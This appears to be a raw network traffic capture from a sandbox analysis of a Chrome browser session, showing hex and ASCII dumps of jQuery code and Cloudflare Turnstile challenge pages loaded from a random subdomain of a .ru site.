2024-12-11 18:22:17 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-12-11 18:22:17 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49727	104.18.95.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:18 UTC	802	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/djwd3/0x4AAAAAAA1KgdNE9-bMhAVQ/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://18qdy4sm2g.lomidore.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:19 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26677 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-11 18:22:19 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 30 37 37 66 64 37 61 64 35 30 31 38 38 39 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8f077fd7ad501889-EWRalt-svc: h3=":443"; ma=86400
2024-12-11 18:22:19 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b Data Ascii: -dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 Data Ascii: 0}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-he
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 Data Ascii: stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de13
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 Data Ascii: y:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-comp
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 Data Ascii: {left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a Data Ascii: lor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49728	104.18.94.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:18 UTC	383	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:18 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f077fd7adc67c78-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:19 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
